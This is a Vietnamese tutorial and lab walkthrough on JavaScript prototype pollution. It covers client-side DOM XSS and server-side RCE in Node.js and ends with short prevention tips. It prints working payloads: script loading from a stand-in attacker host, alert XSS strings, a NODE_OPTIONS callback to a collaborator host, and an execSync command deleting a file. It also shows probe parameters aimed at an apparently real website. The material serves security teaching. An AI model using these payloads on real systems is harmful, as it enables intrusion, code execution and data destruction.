Prototype polution là lỗ hổng trong Javascript cho phép attacker thêm các thuộc tính tùy ý vào các đối tượng sử dụng chung trong ngôn ngữ lập trình. Các thuộc tính tùy ý này nếu được xử lý không đúng cách có thể tiềm ẩn nhiều nguy cơ.
- client: gây ra DOM XSS
- server: có thể RCE
I. Prototype Javascript và tính kế thừa
Cũng giống như trong Java, C# sử dụng extend class để định nghĩa đối tượng. Trong Javascript sử dụng một mô hình kế thừa dựa trên các nguyên mẫu (prototype).
Đối tượng trong Javascript là gì?
Là một tập hợp các cặp key:value định nghĩa thuộc tính.
Ví dụ:
const user = {
username: "wiener",
userId: 01234,
isAdmin: false
}
Truy cập thuộc tính của một đối tượng bằng cách sử dụng . hoặc []
Ví dụ:
user.username // "wiener"
user['userId'] // 01234
Thuộc tính của đối tượng trong Javascript có thể chứa cả hàm thực thi. Ví dụ:
const user = {
username: "wiener",
userId: 01234,
exampleMethod: function(){
// do something
}
}
Những ví dụ vừa rồi là các đối tượng theo nghĩa đen 😀 Tuy nhiên, trong Javascript hầu hết mọi thứ đều là một đối tượng ngầm? Vậy Prototype Javascript là gì? -> Một đối tượng a được liên kết với một đối tượng b thì đối tượng b được gọi là nguyên mẫu (prototype) của a. Trong JS, mặc định một Object sẽ tự động được gán các nguyên mẫu tích hợp sẵn.
Ví dụ:
let myObject = {};
Object.getPrototypeOf(myObject); // Object.prototype
let myString = "";
Object.getPrototypeOf(myString); // String.prototype
let myArray = [];
Object.getPrototypeOf(myArray); // Array.prototype
let myNumber = 1;
Object.getPrototypeOf(myNumber); // Number.prototype
Trong JS các Object tự động kế thừa các thuộc tính của nguyên mẫu, trừ khi chúng có một thuộc tính riêng cùng một khóa được xác định trước.
- Điều này cho phép
devtạo ra các Object có thể sử dụng lại thuộc tính và phương thức của các Object khác. - Ví dụ: Object String.prototype có phương thức sẵn là toLowerCase()
Kế thừa trong JS hoạt động như thế nào?

Có thể sử dụng console của trình duyệt để xem hành vi của đối tượng:

=> có thể thấy Object này kế thừa rất nhiều thuộc tính và phương thức tích hợp sẵn của Object.prototype
prototype chain

Hầu hết mọi thứ trong JS đều là Object. Kế thừa đệ quy. Từ ví dụ trên, ta có thể truy cập nguyên mẫu của Object bằng __proto__:
username.__proto__
username['__proto__']
hoặc
username.__proto__ // String.prototype
username.__proto__.__proto__ // Object.prototype
username.__proto__.__proto__.__proto__ // null
Sửa đổi nguyên mẫu ? Làm dược, ví dụ: ngày xưa chưa có phương thức strim(). dev phải tự code như sau:
String.prototype.removeWhitespace = function(){
// remove leading and trailing whitespace
}
Sau đó gọi:
let searchTerm = " example ";
searchTerm.removeWhitespace(); // "example"
II. Lỗ hổng prototype polution phát sinh như thế nào?
Lỗ hổng này thường phát sinh khi một hàm Javascript sửa đổi đệ quy một Object chứa các thuộc tính mà người dùng cung cấp vào Object hiện có.
Kẻ tấn công có thể đưa thuộc tính tùy ý vào Object thông qua __proto__
Có thể làm ô nhiễm bất kỳ đối tượng nguyên mẫu nào, nhưng điều này thường xảy ra nhất với Object.prototype.
Để khai thác thành công lỗ hổng này ta cần phải xác định 3 yếu tố:
- Source: input cho phép đầu độc một đối tượng
sink: hàm JS hoặc phần tử DOM cho phép thực thi mã.- gadget: thuộc tính đưa vào
sinkđể đạt được khai thác.
Source?
Các source phổ biến như:
- URL
- JSON input
- web message
Ô nhiễm nguyên mẫu qua URL
Ví dụ:
https://vulnerable-website.com/?__proto__[evilProperty]=payload
Điều này sẽ được xử lý như sau:
targetObject.__proto__.evilProperty = 'payload';
Trong quá trình này, công cụ Javascript coi proto như mọt trình khởi động cho nguyên mẫu. Kết quả là evilProperty được gán cho đối tượng nguyên mẫu được trả về thay vì chính đối tượng đích.
Ô nhiễm nguyên mẫu qua JSON
Các đối tượng do người dùng điều khiển thường được lấy từ một chuỗi JSON bằng phương thức JSON.parse()
Và!!! JSON.parse cũng coi bất kỳ key nào trong JSON là một chuỗi tùy ý.
{
"__proto__": {
"evilProperty": "payload"
}
}
Ví dụ:
const objectLiteral = {__proto__: {evilProperty: 'payload'}};
const objectFromJson = JSON.parse('{"__proto__": {"evilProperty": "payload"}}');
objectLiteral.hasOwnProperty('__proto__'); // false
objectFromJson.hasOwnProperty('__proto__'); // true
Sink?
Là hàm Javascript hoặc phần tử DOM có thể truy cập qua prototype , cho phép thực thi lệnh hệ thống.
Gadget?
Là phương tiện để biến lỗ hổng thành khai thác thực tế.
Yêu cầu:
- sink phải được sử dụng không an toàn ví dụ như không lọc input,…
- Có thể kiểm soát được – có khả năng kế thừa thuộc tính độc hại do kẻ tấn công thêm vào
Một thuộc tính không được gọi là gadget nếu nó đã được xác định trực tiếp trên chính đối tượng đó. Trường hợp này, phiên bản xác định đó được ưu tiên hơn.
Các website tốt thường đặt giá trị của nguyên mẫu Object thành null
Ví dụ: gadget gây ô nhiễm nguyên mẫu
let transport_url = config.transport_url || defaults.transport_url;
........
let script = document.createElement('script');
script.src = `${transport_url}/example.js`;
document.body.appendChild(script);
Nếu các nhà phát triển trang web, chưa đặt thuộc tính transport_url cho đối tượng config của họ, thì đây là một gadget tiềm năng.
Nếu nguyên mẫu có thể bị ô nhiễm qua URL thì kẻ tấn công có thể dụ nạn nhân truy cập URL được tạo đặc biệt để khiến trình duyệt chuyển hướng.
https://vulnerable-website.com/?__proto__[transport_url]=//evil-user.net
hoặc nhúng payload vào chuỗi truy vấn
https://vulnerable-website.com/?__proto__[transport_url]=data:,alert(1);//
III. Khai thác lỗ hổng prototype pollution client
Tìm source gây ô nhiễm thủ công
Ta sẽ phải dò Ví dụ: vulnerable-website.com/?__proto__[foo]=bar
Sau đó kiểm tra trong console xem Object.prototype đã bị ghi đề chưa?
Cách này thường sẽ tốn thời gian và không hiệu quả
Tìm source gây ô nhiễm bằng công cụ DOM Invader

Hiệu quả cao hơn, tiết kiệm thời gian
Tìm gadget gây ô nhiễm
DOM Invader cũng có thể tự động quét các gadget và thậm chí tạo ra PoC DOM XSS trong một số trường hợp.
Prototype pollution via constructor
Vậy khi ứng dụng web chặn truy cập __proto__ thì ta làm gì?
Mọi đối tượng Javascript đều có một thuộc tính constructor chứa tham chiếu đến hàm tạo được sử dụng để tạo ra chính đối tượng đó.
Ví dụ: bạn có thể tạo một Object mới bằng cách sử dụng cú pháp bằng chữ hoặc bằng cách gọi hàm tạo Object()
let myObjectLiteral = {};
let myObject = new Object();
myObject.constructor.prototype // Object.prototype
myString.constructor.prototype // String.prototype
myArray.constructor.prototype // Array.prototype
Chú ý: các hàm cũng chỉ là các Object.myObject.constructor.prototype tương đương với myObject.__proto__
Ngoài ra, khi ứng dụng web chặn truy cập __proto__ ta cũng có thể bypass bằng cách sử dụng:
vulnerable-website.com/?__pro__proto__to__.gadget=payload
https://onehousing.vn/?constructor[prototype][a42e5579]=rtv4nyig&constructor.prototype.b1a3fd5b=rtv4nyig&__proto__.ccd80966=rtv4nyig&__proto__[dcb52823]=rtv4nyig


Prototype pollution in API browser
Ví dụ: Đoạn mã sau có khả năng dễ bị tấn công DOM XSS thông qua prototype pollution
fetch('/my-products.json',{method:"GET"})
.then((response) => response.json())
.then((data) => {
let username = data['x-username'];
let message = document.querySelector('.message');
if(username) {
message.innerHTML = `My products. Logged in as <b>${username}</b>`;
}
let productList = document.querySelector('ul.products');
for(let product of data) {
let product = document.createElement('li');
product.append(product.name);
productList.append(product);
}
})
.catch(console.error);
Khai thác:
Kẻ tấn công có thể gây ô nhiễm bằng cách thêm nội dung độc hại vào thuộc tính x-username của đối tượng headers như sau:
?__proto__[headers][x-username]=<img/src/onerror=alert(1)>
Lab 1: DOM XSS in client
Tìm source để có thể thêm các thuộc tính tùy ý
home page

Tìm source để có thể thêm các thuộc tính tùy ý
Trong trình duyệt thử gây ô nhiễm bằng cách đưa một thuộc tính tùy ý với truy vấn:
web-security-academy.net/?__proto__[foo]=bar
Kiểm tra trong console:

ta thấy đã chèn được thuộc tính độc hại thành công. Đây là một source gây ô nhiễm
Xác định một gadget

Ở đây , ta thấy đối tượng config có một thuộc tính transport_url mà sẽ được tạo một thẻ script mới , điều này cho thấy transport_url đang nối Javascript vào DOM.
Ngoài ra, thuộc tính transport_url cũng không được xác định trước.
Khai thác DOM XSS
Kết hợp những manh mối trên, ta có thể gọi ra thuộc tính transport_url và đặt giá trị cho nó là bất cứ thứ gì:

Trong source code ta thấy rằng có một thẻ script mới được tạo với src là giá trị ta truyền vào:
Sửa đổi chút payload để khai thác XSS:
ademy.net/?__proto__[transport_url]=data:,alert(document.domain);//
Kết quả thành công

Khai thác tự động bằng DOM Invader

Prototype pollution Server
Các lỗi ô nhiễm nguyên mẫu phía server thường sẽ khó phát hiện hơn phía client vì:
- Không có quyền truy cập mã nguồn
- Không có công cụ cho nhà phát triển
- Hỏng hóc trong lúc kiểm thử
Ngay cả khi phát hiện ra một lỗ hổng, việc khai thác nó cũng khó khăn vì về cơ bản là ta đã phá vỡ trang web trong quá trình này.
Phát hiện prototype pollution via phản ánh trong response
const myObject = { a: 1, b: 2 };
// gây ô nhiễm nguyên mẫu với một thuộc tính tùy ý
Object.prototype.foo = 'bar';
// xác nhận `myObject` không có thuộc tính riêng `foo`
myObject.hasOwnProperty('foo'); // false
// liệt kê tên của các thuộc tính của myObject
for(const propertyKey in myObject){
console.log(propertyKey);
}
// Output: a, b, foo
const myArray = ['a','b'];
Object.prototype.foo = 'bar';
for(const arrayKey in myArray){
console.log(arrayKey);
}
// Output: 0, 1, foo
Phát hiện prototype pollution blind
- Ghi đè mã trạng thái
HTTP/1.1 200 OK
...
{
"error": {
"success": false,
"status": 401,
"message": "You do not have permission to access this resource."
}
}
function createError () {
//...
if (type === 'object' && arg instanceof Error) {
err = arg
status = err.status || err.statusCode || status
} else if (type === 'number' && i === 0) {
//...
if (typeof status !== 'number' ||
(!statuses.message[status] && (status > 400 || status >= 600))) {
status = 500
}
//...
Các bước thực hiện:
- Ghi đề khoảng trắng JSON
Express cung cấp một tùy chọn json spaces, cho phép định cấu hình số lượng khoảng trắng được sử dụng để thụt lề bất kỳ dữ liệu JSON nào trong phản hồi.
RCE via prototype pollution
Biến môi trường NODE_OPTIONS cho phép xác định một chuỗi các đối số dòng lệnh sẽ được sử dụng theo mặc định bất cứ khi nào bắt đầu một trình Node mới.
"__proto__": {
"shell":"node",
"NODE_OPTIONS":"--inspect=YOUR-COLLABORATOR-ID.oastify.com\"\".oastify\"\".com"
}
Ngoài ra cũng có thể RCE tương tự trên với các payload khác như:
- RCE via child_process.fork()
"execArgv": [
"--eval=require('<module>')"
]
- RCE via child_ process.execSync()
"shell":"vim",
"input":":! <command>\n"
Lab 2: RCE
home page:

Đăng nhập với tài khoản được cung cấp: wiener:peter

Trong trang chủ admin, có chức năng cho phép update thông tin Billing and Delivery Address

Để ý thấy trong Admin Panel có một chức năng Run maintenance jobs


request gửi đi trông như sau:

Khi chúng ta nhấp Chạy công việc bảo tri, nó sẽ gửi một POST requests tới /admin/jobs với tham số csrf, sessionId, task.
Tìm source gây ô nhiễm
Ta sẽ sử dụng __proto__ để gây ô nhiễm Object.prototype.
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "5nRtK7kb8P9i60GkjJHYKZPII7ywBO1n",
"__proto__": {
"json spaces": 1
}
}
Sử dụng json spaces với khoảng cách là 1.

trong kết quả phản hồi đúng là json cách đều ra 5 space => điều này cho thấy có lỗ hổng prototype pollution ở đây.
=> Đây là một source
Xác định một Gadget để thêm và thực thi lệnh hệ thống
Test với payload:
"__proto__": {
"shell":"node",
"NODE_OPTIONS":"--inspect=YOUR-COLLABORATOR-ID.oastify.com\"\".oastify\"\".com"
}
Sau khi gửi requests:

Sau đó chạy lại Công việc bảo trì

=> Kết quả thành công, vậy là ta có thể thực thi mã
Đổi payload sau để thực thi mã từ xa, yêu cầu lab là xóa file /home/carlos/morale.txt
"__proto__": {
"execArgv":[
"--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"
]
}
Gửi lại request sau đó Chạy công việc bảo trì.

=> Thành công giải quyết lab
Tự động khai thác

Sau khi chọn kiểu tấn công, cấu hình tấn công:

Kết quả: phát hiện lỗ hổng prototype pollution JSON spacing

Ngăn chặn prototype pollution
- Vệ sinh input, vệ sinh key của object
- Cấm các thay đổi đối với nguyên mẫu của một Object
- Ngăn chặn Object tự động kế thừa thuộc tính